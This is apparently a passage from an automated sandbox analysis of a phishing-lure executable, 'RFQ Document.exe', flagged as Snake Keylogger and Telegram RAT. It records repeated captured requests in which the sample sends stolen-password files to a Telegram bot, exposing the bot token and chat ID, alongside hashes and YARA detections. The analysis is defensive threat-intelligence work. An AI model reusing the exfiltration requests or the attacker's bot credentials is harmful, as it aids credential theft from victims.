{"ok":true,"result":{"message_id":12676,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808721,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.4	49870	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:41 UTC	150	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ce12ebba Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:41 UTC	150	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 65 31 32 65 62 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ce12ebbaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:41 UTC	151	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:41 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:41 UTC	151	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12677,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808721,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.4	49871	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:41 UTC	152	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ce55ad92 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:41 UTC	152	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 65 35 35 61 64 39 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ce55ad92Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:41 UTC	152	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:41 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:41 UTC	153	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12678,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808721,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.4	49872	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:41 UTC	153	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ce6b24c9 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:41 UTC	154	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 65 36 62 32 34 63 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ce6b24c9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:41 UTC	154	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:41 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:41 UTC	154	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12679,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808721,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.4	49873	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:42 UTC	155	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ce91498c Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:42 UTC	155	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 65 39 31 34 39 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ce91498cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:42 UTC	156	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:42 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:42 UTC	156	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12680,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808722,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.4	49874	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:42 UTC	156	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ceb76f1c Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:42 UTC	157	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 65 62 37 36 66 31 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ceb76f1cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:42 UTC	157	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:42 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:42 UTC	158	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12681,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808722,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.4	49875	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:42 UTC	158	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cecf467e Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:42 UTC	158	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 65 63 66 34 36 37 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cecf467eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:42 UTC	159	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:42 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:42 UTC	159	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12682,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808722,"d

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: RFQ Document.exe PID: 2628 Parent PID: 5288

General

Start time:	07:57:55
Start date:	28/09/2021
Path:	C:\Users\user\Desktop\RFQ Document.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\RFQ Document.exe'
Imagebase:	0x400000
File size:	344837 bytes
MD5 hash:	64468B2AB541687572CE6B435B41F2BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: RFQ Document.exe PID: 6484 Parent PID: 2628

General

Start time:	07:57:57
Start date:	28/09/2021
Path:	C:\Users\user\Desktop\RFQ Document.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\RFQ Document.exe'
Imagebase:	0x400000
File size:	344837 bytes
MD5 hash:	64468B2AB541687572CE6B435B41F2BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.926087127.0000000000798000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.926695160.00000000024D6000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.926695160.00000000024D6000.00000004.00000001.sdmp, Author: Joe Security Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, Author: Florian Roth Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, Author: Joe Security Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.928008306.0000000004942000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.927923134.0000000003461000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
